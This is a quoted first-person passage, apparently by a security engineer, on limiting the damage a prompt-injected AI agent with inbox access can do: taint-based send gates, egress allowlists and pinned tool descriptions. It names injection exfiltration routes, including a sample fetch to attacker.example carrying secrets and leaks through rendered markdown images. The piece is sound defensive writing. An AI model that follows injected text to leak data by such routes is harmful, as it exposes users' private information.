“I start by assuming it will be fooled sometimes. Instructions and data reach the model as one token stream, so there’s no filter that separates them, the way parameterised queries do for SQL. My job is to bound what a fooled agent can do, in code the attacker’s text never reaches.
So I count the legs. This agent reads untrusted text, has sensitive access to the inbox, and can act outward. With all three, every outward action needs a person, so first I cut a leg where I can: the summariser gets no send_email. Where sending stays, a gate decides from the tool name, the arguments and the session’s taint. Once the agent has read a web page or a stranger’s email, a send to anyone outside the user’s contacts is held and the exact action is shown to the user.
Then I close the exits that need no send tool. Fetching attacker.example/?q=<secrets> is exfiltration, so every fetch goes through an egress proxy with an allowlist. A markdown image the model wrote leaks on render, so images and links render only from allowed hosts. The agent acts with the user’s own permissions, and third-party MCP tool descriptions are pinned, because they’re text the model reads too.
Last, I test it against an attacker who has read the defence, and I report a residual rate, not ‘injection-proof’.”